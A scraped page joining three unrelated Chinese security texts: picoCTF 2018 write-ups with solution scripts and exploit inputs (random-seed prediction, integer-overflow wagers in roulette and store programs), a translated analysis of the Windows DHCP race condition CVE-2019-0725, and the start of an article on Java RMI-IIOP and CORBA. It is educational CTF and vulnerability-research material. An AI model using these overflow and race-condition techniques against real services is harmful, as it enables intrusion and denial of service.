> Linux for [Beginners](https://maker.pro/education/basic-linux-commands-for-> beginners)
## Solution
这题用到了以下的基础linux命令：
* `ls`
* `cd`
* `rm`
* `whoami`
* `cat`
* 如何执行二进制可执行文件
依照指示输入命令就可以了。
$ nc 2018shell1.picoctf.com 27833
Sweet! We have gotten access into the system but we aren't root.
It's some sort of restricted shell! I can't see what you are typing
but I can see your output. I'll be here to help you along.
If you need help, type "echo 'Help Me!'" and I'll see what I can do
There is not much time left!
~/$ ls
blackmail
executables
passwords
photos
secret
~/$ cd secret
Now we are cookin'! Take a look around there and tell me what you find!
~/secret$ ls
intel_1
intel_2
intel_3
intel_4
intel_5
profile_AipieG5Ua9aewei5ieSoh7aph
profile_Xei2uu5suwangohceedaifohs
profile_ahShaighaxahMooshuP1johgo
profile_ahqueith5aekongieP4ahzugi
profile_aik4hah9ilie9foru0Phoaph0
profile_bah9Ech9oa4xaicohphahfaiG
profile_ie7sheiP7su2At2ahw6iRikoe
profile_of0Nee4laith8odaeLachoonu
profile_poh9eij4Choophaweiwev6eev
profile_poo3ipohGohThi9Cohverai7e
Sabatoge them! Get rid of all their intel files!
~/secret$ rm intel*
Nice! Once they are all gone, I think I can drop you a file of an exploit!
Just type "echo 'Drop it in!' " and we can give it a whirl!
~/secret$ echo 'Drop it in!'
Drop it in!
I placed a file in the executables folder as it looks like the only place we can execute from!
Run the script I wrote to have a little more impact on the system!
~/secret$ cd ..
~/$ cd executables
~/executables$ ls
dontLookHere
~/executables$ ./dontLookHere
...
...
...
Looking through the text above, I think I have found the password. I am just having trouble with a username.
Oh drats! They are onto us! We could get kicked out soon!
Quick! Print the username to the screen so we can close are backdoor and log into the account directly!
You have to find another way other than echo!
~/executables$ whoami
l33th4x0r
Perfect! One second!
Okay, I think I have got what we are looking for. I just need to to copy the file to a place we can read.
Try copying the file called TopSecret in tmp directory into the passwords folder.
~/executables$ cp /tmp/TopSecret passwords
Server shutdown in 10 seconds...
Quick! go read the file before we lose our connection!
~/executables$ cd ..
~/$ ls
blackmail
executables
passwords
photos
secret
~/$ cd passwords
~/passwords$ ls
TopSecret
~/passwords$ cat TopSecret
Major General John M. Schofield's graduation address to the graduating class of 1879 at West Point is as follows: The discipline which makes the soldiers of a free country reliable in battle is not to be gained by harsh or tyrannical treatment.On the contrary, such treatment is far more likely to destroy than to make an army.It is possible to impart instruction and give commands in such a manner and such a tone of voice as to inspire in the soldier no feeling butan intense desire to obey, while the opposite manner and tone of voice cannot fail to excite strong resentment and a desire to disobey.The one mode or other of dealing with subordinates springs from a corresponding spirit in the breast of the commander.He who feels the respect which is due to others, cannot fail to inspire in them respect for himself, while he who feels,and hence manifests disrespect towards others, especially his subordinates, cannot fail to inspire hatred against himself.
picoCTF{CrUsHeD_It_9edaa84a}
flag:`picoCTF{CrUsHeD_It_9edaa84a}`
# environ
## Question
> Sometimes you have to configure environment variables before executing a
> program. Can you find the flag we've hidden in an environment variable on
> the shell server?
### Hint
> unix [env](https://www.tutorialspoint.com/unix/unix-environment.htm)
## Solution
考察linux系统环境变量，使用`env`命令可以列出系统中所有的环境变量，配合`grep`命令得到flag。
finn@pico-2018-shell-2:/problems/grep-2_3_826f886f547acb8a9c3fccb030e8168d/files$ env|grep pico
SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
flag:`picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}`
# ssh-keyz
## Question
> As nice as it is to use our webshell, sometimes its helpful to connect
> directly to our machine. To do so, please add your own public key to
> ~/.ssh/authorized_keys, using the webshell. The flag is in the ssh banner
> which will be displayed when you login remotely with ssh to with your
> username.
### Hint
> key generation
> [tutorial](https://confluence.atlassian.com/bitbucketserver/creating-ssh-> keys-776639788.html)
>
> We also have an expert demonstrator to help you along.
> [link](https://www.youtube.com/watch?v=3CN65ccfllU&list=PLJ_vkrXdcgH-> lYlRV8O-kef2zWvoy79yP&index=4)
## Solution
公钥连接服务器相关，在shell服务器中使用`ssh-keygen -t rsa`生成自己的公私钥对，默认生成为 _~/.ssh/id_rsa.pub_
(公钥)和 _~/.ssh/id_rsa_ （私钥），将私钥下载到本地，然后用`ssh
<username>@2018shell2.picoctf.com`连接服务器即可在欢迎信息的banner中看到flag。
这题也可以直接查看banner文件。
finn@pico-2018-shell-2:~$ cat /etc/ssh/sshd_config |grep banner
Banner /opt/ssh_banner
finn@pico-2018-shell-2:~$ cat /opt/ssh_banner
picoCTF{who_n33ds_p4ssw0rds_38dj21}
flag:`picoCTF{who_n33ds_p4ssw0rds_38dj21}`
# what base is this?
## Question
> To be successful on your mission, you must be able read data represented in
> different ways, such as hexadecimal or binary. Can you get the flag from
> this program to prove you are ready? Connect with `nc 2018shell1.picoctf.com
> 1225`.
### Hint
> I hear python is a good means (among many) to convert things.
>
> It might help to have multiple windows open
## Solution
三个不通的进制转换，分别是二进制、十六进制和八进制，转换为十进制，然后发送对应ascii码的单词，写个脚本处理一下就可以了。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import re
r = remote('2018shell2.picoctf.com', 31711)
binary = r.recvuntil('as a word.')
binary = re.findall(r'(\d+)', binary)
binary_word = ''.join([chr(int(i, 2)) for i in binary])
r.sendline(binary_word)
hexnum = r.recvuntil('as a word.')
hexnum = re.findall(r'([0-9a-f]+) as', hexnum)[0]
hexword = hexnum.decode('hex')
r.sendline(hexword)
octal = r.recvuntil('as a word.')
octal = re.findall(r'([0-9]+)', octal)
octal_word = ''.join([chr(int(i, 8)) for i in octal])
r.sendline(octal_word)
print r.recvuntil('}\n')
r.close()
$ python nc_convert.py
[+] Opening connection to 2018shell2.picoctf.com on port 31711: Done
Input:
You got it! You're super quick!
Flag: picoCTF{delusions_about_finding_values_68051dea}
[*] Closed connection to 2018shell2.picoctf.com port 31711
flag:`picoCTF{delusions_about_finding_values_68051dea}`
# you can't see me
## Question
> '...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission
> ended...' Maybe something lies in /problems/you-can-t-see-> me_3_1a39ec6c80b3f3a18610074f68acfe69.
### Hint
> What command can see/read files?
>
> What's in the manual page of ls?
## Solution
`ls -a`可以查看以`.`开头的隐藏文件。
finn@pico-2018-shell-2:/problems/you-can-t-see-me_2_cfb71908d8368e3062423b45959784aa$ ls -a
. . ..
其中一个`.`代表当前目录，另一个是一个文件，直接`cat .`会显示
finn@pico-2018-shell-2:/problems/you-can-t-see-me_2_cfb71908d8368e3062423b45959784aa$ cat .
cat: .: Is a directory
输入`cat`然后用tab键补全就能看到真正的文件名了，是一个`.`和两个`空格`
finn@pico-2018-shell-2:/problems/you-can-t-see-me_2_cfb71908d8368e3062423b45959784aa$ cat .\ \
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_093d6aff}
flag:`picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_093d6aff}`
# absolutely relative
## Question
> In a filesystem, everything is relative ¯_(ツ)_/¯. Can you find a way to get
> a flag from this
> [program](https://2018shell2.picoctf.com/static/3a286144f1c251a493c223d6a8ff0a6d/absolutely-> relative)? You can find it in /problems/absolutely-> relative_1_15eb86fcf5d05ec169cc417d24e02c87 on the shell server.
> [Source](https://2018shell2.picoctf.com/static/3a286144f1c251a493c223d6a8ff0a6d/absolutely-> relative.c).
### Hint
> Do you have to run the program in the same directory? (⊙.☉)7
>
> Ever used a text editor? Check out the program 'nano'
## Solution
阅读程序源码
#include <stdio.h>
#include <string.h>
#define yes_len 3
const char *yes = "yes";
int main()
{
char flag[99];
char permission[10];
int i;
FILE * file;
file = fopen("/problems/absolutely-relative_0_d4f0f1c47f503378c4bb81981a80a9b6/flag.txt" , "r");
if (file) {
while (fscanf(file, "%s", flag)!=EOF)
fclose(file);
}
file = fopen( "./permission.txt" , "r");
if (file) {
for (i = 0; i < 5; i++){
fscanf(file, "%s", permission);
}
permission[5] = '\0';
fclose(file);
}
if (!strncmp(permission, yes, yes_len)) {
printf("You have the write permissions.\n%s\n", flag);
} else {
printf("You do not have sufficient permissions to view the flag.\n");
}
return 0;
}
程序会判断当前目录下时候有一个名为`permission.txt`的文件，且文件内容为`yes`，如果满足，则输出flag。
由于flag文件打开的位置是绝对的，而permission文件的打开位置是相对的，所以只需要到一个自己有写权限的目录下创建一个permission.txt文件，写入`yes`，然后运行程序就行了。
而我们在用户主目录下就拥有写权限，所以在用户主目录下写入并运行程序：
finn@pico-2018-shell-2:~$ echo -n "yes" > permission.txt
finn@pico-2018-shell-2:~$ /problems/absolutely-relative_0_d4f0f1c47f503378c4bb81981a80a9b6/absolutely-relative
You have the write permissions.
picoCTF{3v3r1ng_1$_r3l3t1v3_befc0ce1}
flag:`picoCTF{3v3r1ng_1$_r3l3t1v3_befc0ce1}`
# in out error
## Question
> Can you utlize stdin, stdout, and stderr to get the flag from this
> [program](https://2018shell2.picoctf.com/static/d4999df1f1d898c76bbc6f4c70444886/in-> out-error)? You can also find it in /problems/in-out-> error_2_c33e2a987fbd0f75e78481b14bfd15f4 on the shell server
### Hint
> Maybe you can split the stdout and stderr output?
## Solution
linux输出重定向，可以参考[Linux标准输入、输出和错误和文件重定向](https://www.cnblogs.com/softidea/p/3965093.html)。
直接执行程序会把`Rick
Roll'd`的歌词和`flag`混在一起输出，flag在`stderr`中，把`stdout`重定向到`/dev/null`就可以得到flag。
finn@pico-2018-shell-2:/problems/in-out-error_0_0f875f7714b995dad5946a15be6267a7$ ./in-out-error 1>/dev/null
Please may I have the flag?
picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoC
TF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1
p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_
1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_
7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng
_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6
fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}
picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoC
TF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1
p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_
1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_
7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng
_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6
fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}
picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoC
TF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1
p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}
flag:`picoCTF{p1p1ng_1S_4_7h1ng_85f6fd2c}`
# learn gdb
## Question
> Using a debugging tool will be extremely useful on your missions. Can you
> run this
> [program](https://2018shell2.picoctf.com/static/999e37c9737d95c105ea29ae5b3fac1f/run)
> in gdb and find the flag? You can find the file in /problems/learn-> gdb_0_716957192e537ac769f0975c74b34194 on the shell server.
### Hint
> Try setting breakpoints in gdb
>
> Try and find a point in the program after the flag has been read into memory
> to break on
>
> Where is the flag being written in memory?
## Solution
执行程序会解密flag，但是不会输出。
finn@pico-2018-shell-2:/problems/learn-gdb_3_f1f262d9d48b9ff39efc3bc092ea9d7b$ ./run
Decrypting the Flag into global variable 'flag_buf'
.....................................
Finished Reading Flag into global variable 'flag_buf'. Exiting.
用`gdb`加载程序，反汇编`main`函数。
finn@pico-2018-shell-2:/problems/learn-gdb_3_f1f262d9d48b9ff39efc3bc092ea9d7b$ gdb run
...
(gdb) disassemble main
...
0x00000000004008f1 <+40>: callq 0x400650 <setvbuf@plt>
0x00000000004008f6 <+45>: mov $0x4009d0,%edi
0x00000000004008fb <+50>: callq 0x400600 <puts@plt>
0x0000000000400900 <+55>: mov $0x0,%eax
0x0000000000400905 <+60>: callq 0x400786 <decrypt_flag>
...
再反汇编`decrypt_flag`函数，在打印break-line直接下断点。
(gdb) disas decrypt_flag
...
0x0000000000400896 <+272>: mov 0x200b4b(%rip),%rdx # 0x6013e8 <flag_buf>
0x000000000040089d <+279>: mov -0x20(%rbp),%eax
0x00000000004008a0 <+282>: cltq
0x00000000004008a2 <+284>: add %rdx,%rax
0x00000000004008a5 <+287>: movb $0x0,(%rax)
0x00000000004008a8 <+290>: mov $0xa,%edi
0x00000000004008ad <+295>: callq 0x4005f0 <putchar@plt>
0x00000000004008b2 <+300>: nop
...
(gdb) b *0x00000000004008a8
Breakpoint 1 at 0x4008a8
(gdb) r
Starting program: /problems/learn-gdb_3_f1f262d9d48b9ff39efc3bc092ea9d7b/run
Decrypting the Flag into global variable 'flag_buf'
.....................................
Breakpoint 1, 0x00000000004008a8 in decrypt_flag ()
`printf "%s", (char *) flag_buf`打印`flag_buf`变量，得到flag。
(gdb) printf "%s", (char *) flag_buf
picoCTF{gDb_iS_sUp3r_u53fuL_efaa2b29}
flag:`picoCTF{gDb_iS_sUp3r_u53fuL_efaa2b29}`
# roulette
## Question
> This Online
> [Roulette](https://2018shell2.picoctf.com/static/2d8417ef7707fec56592db02da54575e/roulette)
> Service is in Beta. Can you find a way to win $1,000,000,000 and get the
> flag?
> [Source](https://2018shell2.picoctf.com/static/2d8417ef7707fec56592db02da54575e/roulette.c).
> Connect with `nc 2018shell1.picoctf.com 5731`
### Hint
> There are 2 bugs!
## Solution
查看源码，发现出问题的地方有两个。
long get_rand() {
long seed;
FILE *f = fopen("/dev/urandom", "r");
fread(&seed, sizeof(seed), 1, f);
fclose(f);
seed = seed % 5000;
if (seed < 0) seed = seed * -1;
srand(seed);
return seed;
}
...
int main(int argc, char *argv[]) {
...
cash = get_rand();
...
}
这里直接用随机数种子作为初始cash值，所以可以用cash来预测后面的随机数。
第二个问题出现在`get_long()`函数。
long get_long() {
printf("> ");
uint64_t l = 0;
char c = 0;
while(!is_digit(c))
c = getchar();
while(is_digit(c)) {
if(l >= LONG_MAX) {
l = LONG_MAX;
break;
}
l *= 10;
l += c - '0';
c = getchar();
}
while(c != '\n')
c = getchar();
return l;
}
这个函数会返回一个有符号长整型的值，但是，在中间的运算过程却使用了一个无符号的`uint64_t`。
所以当我们构造一个特别大的输入时，就可以造成溢出，使函数返回一个有符号的负数。
基于以上两个bug，我们就可以构造出满足以下要求的输入了。
if(cash > ONE_BILLION) { // cash大于十亿
printf("*** Current Balance: $%lu ***\n", cash);
if (wins >= HOTSTREAK) {// 连胜次数大于等于三次
puts("Wow, I can't believe you did it.. You deserve this flag!");
print_flag();
exit(0);
}
预测随机数用的c程序
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
srand(atoi(argv[1]));
int i = 0;
for (i = 0; i < 8; i++) {
long k = (rand() % 36) + 1;
if (i % 2 == 0){
printf("%ld ", k);
}
}
puts("");
return 0;
}
产生随机数序列
~ gcc generator.c -o random_predict
~ ./random_predict 611
12 23 34 26
~
$ nc 2018shell2.picoctf.com 48312
Welcome to ONLINE ROULETTE!
Here, have $611 to start on the house! You'll lose it all anyways >:)
How much will you wager?
Current Balance: $611 Current Wins: 0
> 611
Choose a number (1-36)
> 12
Spinning the Roulette for a chance to win $1222!
Roulette : 12
You chose correct!
How much will you wager?
Current Balance: $1222 Current Wins: 1
> 1222
Choose a number (1-36)
> 23
Spinning the Roulette for a chance to win $2444!
Roulette : 23
Wow, you won!
How much will you wager?
Current Balance: $2444 Current Wins: 2
> 2444
Choose a number (1-36)
> 34
Spinning the Roulette for a chance to win $4888!
Roulette : 34
Congrats!
How much will you wager?
Current Balance: $4888 Current Wins: 3
> 3221225472
Choose a number (1-36)
> 25
Spinning the Roulette for a chance to win $2147483648!
Roulette : 26
WRONG
If you keep it up, maybe you'll get the flag in 100000000000 years
*** Current Balance: $1073746712 ***
Wow, I can't believe you did it.. You deserve this flag!
picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_8fb4d984}
flag:`picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_8fb4d984}`
# store
## Question
> We started a little
> [store](https://2018shell2.picoctf.com/static/52a992a4afd3bd8ad54489efbec0fd5c/store),
> can you buy the flag?
> [Source](https://2018shell2.picoctf.com/static/52a992a4afd3bd8ad54489efbec0fd5c/source.c).
> Connect with `2018shell1.picoctf.com 53220`.
### Hint
> Two's compliment can do some weird things when numbers get really big!
## Solution
也是一个整数溢出的问题，购买一个小额的商品，造成负数溢出就可以使自己的钱数增加。
但是……出题人好像忘记去掉一些东西，直接把flag放在了二进制可执行文件里，所以直接`strings`就能得到flag了=-=。
~ strings store |grep pico
YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_dbd42a50}
常规解法如下。
Welcome to the Store App V1.0
World's Most Secure Purchasing App
[1] Check Account Balance
[2] Buy Stuff
[3] Exit
Enter a menu selection
2
Current Auctions
[1] I Can't Believe its not a Flag!
[2] Real Flag
1
Imitation Flags cost 1000 each, how many would you like?
10000000000000000
Your total cost is: -1981284352
Your new balance: 1981285452
Welcome to the Store App V1.0
World's Most Secure Purchasing App
[1] Check Account Balance
[2] Buy Stuff
[3] Exit
Enter a menu selection
2
Current Auctions
[1] I Can't Believe its not a Flag!
[2] Real Flag
2
A genuine Flag costs 100000 dollars, and we only have 1 in stock
Enter 1 to purchase1
YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_dbd42a50}
flag:`picoCTF{numb3r3_4r3nt_s4f3_dbd42a50}` | 社区文章 |
五月份的周二补丁日修补了今年最令人担忧的Windows终端服务漏洞（CVE-2019-0708）。
然而还有另一个无法忽略的远程代码执行（RCE）漏洞：`CVE-2019-0725`——Windows动态主机配置协议（DHCP）服务器中的RCE漏洞需要引起我们的注意。
与DHCP相关的漏洞在今年的`Patch Tuesdays`中引起了越来越多的关注。
一个例子是去年2月在DHCP服务器上修补的另一个RCE漏洞（CVE-2019-0626）。
CVE-2019-0725不需要用户交互，并且会影响所有版本的Windows Server。 CVE-2019-0725究竟有多大的影响和可利用性？
### CVE-2019-0725的影响
微软对`CVE-2019-0725`的CVSS 3.0评级的基本评分为8.1。 攻击成功后会造成系统级代码执行，如高机密性、完整性和可用性影响。
所有版本的Windows Server中的漏洞严重程度都被评为严重。 此外，成功攻击并不需要特权。
但是，其攻击复杂性评级很高，这意味着该漏洞可能是一个主要利用的诱因，并未完全受到攻击者的控制。 在这种情况下，该评级较低的部分是由于漏洞是由竞争条件引起。
这种竞争条件究竟如何利用？ 让我们快速了解一般通过DHCP分配地址的方式。
希望分配IP地址的客户端将首先发送`DISCOVER`消息，通常发送到广播地址（`FF:FF:FF:FF:FF:FF`硬件层以及IP层的`255.255.255.255`）。
如果同一广播域中有DHCP服务器，并且它具有可分配的IP地址，则它将以OFFER消息进行响应。
它包含客户端应使用的`IP`地址的详细信息，以及`DNS`服务器等其他信息。
然后，`DHCP`客户端发送`REQUEST`消息，其中包含有关客户端的其他信息，并确认客户端请求的IP地址（通常是服务器在`OFFER`消息中发送的地址）。
如果服务器接受来自客户端的`REQUEST`消息，它将发送`DHCP ACK`以通知客户端它现在可以使用分配的IP地址。
这里我们需要记住这些信息，之后详细了解一下漏洞本身。
### 触发竞争条件并利用漏洞
`DHCP`服务器在`dhcpssvc.dll`中实现，并通过`svchost.exe`运行。
传入的`DHCP`消息由`ProcessMessage()`函数处理。 它首先调用一个函数从传入消息中提取`DHCP`选项。
这是因为DHCP选项包含诸如请求的IP地址、主机名以及最重要的DHCP消息类型（例如，`DISCOVER`或`REQUEST`）之类的信息。
`ProcessMessage()`将根据DHCP消息类型调用处理函数。
在`DISCOVER`消息的情况下，调用的函数是`ProcessDhcpDiscover()`，而此函数可以造成后面的漏洞。`DHCP`服务器在`dhcpssvc.dll`中实现，并通过`svchost.exe`运行。
`Windows
DHCP`服务器将追踪“待处理”的IP地址。这意味着IP地址已在内部分配给客户端，但不一定由客户端提供或接受。为了跟踪这些待处理部分，DHCP服务器使用`PendingCtxt`结构的引用列表。这些`PendingCtxt`结构包含在堆的缓冲区中，包括客户端硬件地址、租约情况、续订和重新绑定时间、分配给客户端的IP地址以及指定是否已为此特定项发送了`OFFER`的标志等信息。首次调用`ProcessDhcpDiscover()`时，它会检查它是否具有现有的`PendingCtxt`。它通过使用`DHCP`头中包含的客户端硬件地址作为函数`DhcpFindPendingCtxt()`的参数来实现此目的。
如果没有为特定客户端找到当前的`PendingCtxt`，则从可用地址池或先前分配给该客户端的地址分配地址。然后调用函数`DhcpProcessDiscoverForValidatedAddress()`以执行构造将响应`DISCOVER`发送的`OFFER`消息所需的剩余任务。
`DhcpProcessDiscoverForValidatedAddress()`检索配置的租约信息，例如服务器上配置的租约、续订和重新绑定时间。然后将该信息以及提供的IP地址和子网掩码传递给函数`DhcpAddPendingCtxt()`。该函数为新的`PendingCtxt`结构分配一个堆缓冲区，该结构填充了待处理的租约信息，然后添加到所有待处理租约的列表中。
添加`PendingCtxt`结构后将在函数`DhcpRespondToDiscover()`中构造`OFFER`消息并将其发送到客户端。
因为`PendingCtxt`结构理论上可以在任何时间点由多个服务器线程访问，所以对结构的访问通常包含在`DhcpGlobalInprogressCritSect`关键部分中。
这仅允许一个线程或进程在关键部分内运行限制共享访问相同资源而导致的意外行为。
在`ProcessDhcpDiscover()`中，在调用`DhcpFindPendingCtxtI()`之前输入`DhcpGlobalInprogressCritSect`临界区。
如果没有`PendingCtxt`，或者在现有`PendingCtxt`结构中的某些信息被验证之后，线程将离开临界区。
但是，在线程离开这个初始临界区之后，还有一个由位于`RBX`寄存器中的地址引用的`PendingCtxt`结构的直接访问过程。
此访问检查“`OFFER`标志”的值以查看是否已将`OFFER`发送到此客户端。
虽然这种直接访问受到保护，但是在离开前一个关键部分和进入新的关键部分之间有一个很小的窗口期。
由于线程调度的不可预测性，所以我们不能保证`PendingCtxt`结构仍然存在。
删除`PendingCtxt`结构的线程可以选择在`ProcessDhcpDiscover()`离开第一个临界区之后但在函数进入下一个临界区之前运行。
当再次访问`PendingCtxt`结构时，此竞争条件可在空闲后使用。
有几种情况可能导致`PendingCtxt`结构被释放，这是由函数`DhcpDeletePendingCtxt()`执行的任务。`PendingCtxt`可能会过期并被清理，并且攻击者无法控制。
但是，发送带有服务器无法分配的请求IP地址的REQUEST消息或RELEASE消息将导致调用`DhcpDeletePendingCtxt()`并释放先前分配的堆缓冲区。
### 可利用性
攻击者可以通过发送至少两个`DISCOVER`消息以便在空闲后触发使用漏洞。可以发送一个用于创建初始`PendingCtxt`，另一个用于查找和访问创建的`PendingCtxt`。攻击者还必须发送定时的`RELEASE`或特殊的`REQUEST`消息。
实际上，在第一次尝试时实际上不可能触发这样的竞争条件。攻击者必须同时发送大量`DISCOVER`和`RELEASE`或`REQUEST`消息。我们的测试显示，需要10秒到几分钟才能触发竞争状态。我们的客户端也一直发送这些DHCP消息。
虽然触发漏洞看起来很容易，但实际上获得代码执行是具有挑战性的。攻击者需要在网络上创建大量流量才有机会。但是，由于触发漏洞可能导致`DHCP`服务器服务崩溃，攻击者可能会使用此拒绝服务功能来运行可用于执行DNS缓存中毒等攻击的恶意DHCP服务器。
本文为翻译文章，本文来自：[https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-0725-an-analysis-of-its-exploitability/](https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-0725-an-analysis-of-its-exploitability/) | 社区文章 |
**作者：Longofo@知道创宇404实验室**
**时间：2019年12月30日**
在写完[《Java中RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿（上）》](https://paper.seebug.org/1091/)的时候，又看到一个包含RMI-IIOP的[议题](https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf)[1]，在16年[Blackhat
JNDI注入议题](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)[2]中也提到了这个协议的利用，当时想着没太看到或听说有多少关于IIOP的漏洞（可能事实真的如此吧，在下面Weblogic RMI-IIOP部分或许能感受到)，所以那篇文章写作过程中也没去看之前那个16年议题IIOP相关部分。网上没怎么看到有关于IIOP或RMI-IIOP的分析文章，这篇文章来感受下。
### 环境说明
* 文中的测试代码放到了[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)上
* 测试代码的JDK版本在文中会具体说明，有的代码会被重复使用，对应的JDK版本需要自己切换
### RMI-IIOP
在阅读下面内容之前，可以先阅读下以下几个链接的内容，包含了一些基本的概念留个印象：
<https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html>[3]
<https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html>[4]
<https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738>[5]
**Java IDL** 是一种用于分布式对象的技术，即对象在网络上的不同平台上进行交互。Java
IDL使对象能够进行交互，而不管它们是以Java编程语言还是C，C ++，COBOL或其他语言编写的。这是可能的，因为Java
IDL基于通用对象请求代理体系结构（CORBA），即行业标准的分布式对象模型。CORBA的主要功能是IDL，一种与语言无关的接口定义语言。每种支持CORBA的语言都有自己的IDL映射-顾名思义，Java IDL支持Java映射。为了支持单独程序中对象之间的交互，Java IDL提供了一个对象请求代理或ORB（Object Request
Broker）。ORB是一个类库，可在Java IDL应用程序与其他符合CORBA的应用程序之间进行低层级的通信。
**CORBA** ，Common ObjectRequest Broker
Architecture（公共对象请求代理体系结构），是由OMG组织制订的一种标准的面向对象应用程序体系规范。CORBA使用接口定义语言（IDL），用于指定对象提供给外部的接口。然后，CORBA指定从IDL到特定实现语言（如Java）的映射。CORBA规范规定应有一个对象请求代理（ORB），通过该对象应用程序与其他对象进行交互。通用InterORB协议（GIOP）摘要协议的创建是为了允许ORB间的通信，并提供了几种具体的协议，包括Internet
InterORB协议（IIOP），它是GIOP的实现，可用于Internet，并提供GIOP消息和TCP/IP层之间的映射。
**IIOP** ，Internet Inter-ORB Protocol(互联网内部对象请求代理协议)，它是一个用于CORBA
2.0及兼容平台上的协议；用来在CORBA对象请求代理之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性的协议。
**RMI-IIOP** 出现以前，只有RMI和CORBA两种选择来进行分布式程序设计，二者之间不能协作。RMI-IIOP综合了RMI
和CORBA的优点，克服了他们的缺点，使得程序员能更方便的编写分布式程序设计，实现分布式计算。RMI-IIOP综合了RMI的简单性和CORBA的多语言性兼容性，RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性（可以不用掌握IDL）。
#### CORBA-IIOP远程调用
在CORBA客户端和服务器之间进行远程调用模型如下：
在客户端，应用程序包含远程对象的引用，对象引用具有存根方法，存根方法是远程调用该方法的替身。存根实际上是连接到ORB的，因此调用它会调用ORB的连接功能，该功能会将调用转发到服务器。
在服务器端，ORB使用框架代码将远程调用转换为对本地对象的方法调用。框架将调用和任何参数转换为其特定于实现的格式，并调用客户端想要调用的方法。方法返回时，框架代码将转换结果或错误，然后通过ORB将其发送回客户端。
在ORB之间，通信通过共享协议IIOP进行。基于标准TCP/IP Internet协议的IIOP定义了兼容CORBA的ORB如何来回传递信息。
编写一个Java CORBA IIOP远程调用步骤：
1. 使用idl定义远程接口
2. 使用idlj编译idl，将idl映射为Java，它将生成接口的Java版本类以及存根和骨架的类代码文件，这些文件使应用程序可以挂接到ORB。在远程调用的客户端与服务端编写代码中会使用到这些类文件。
3. 编写服务端代码
4. 编写客户端代码
5. 依次启动命名服务->服务端->客户端
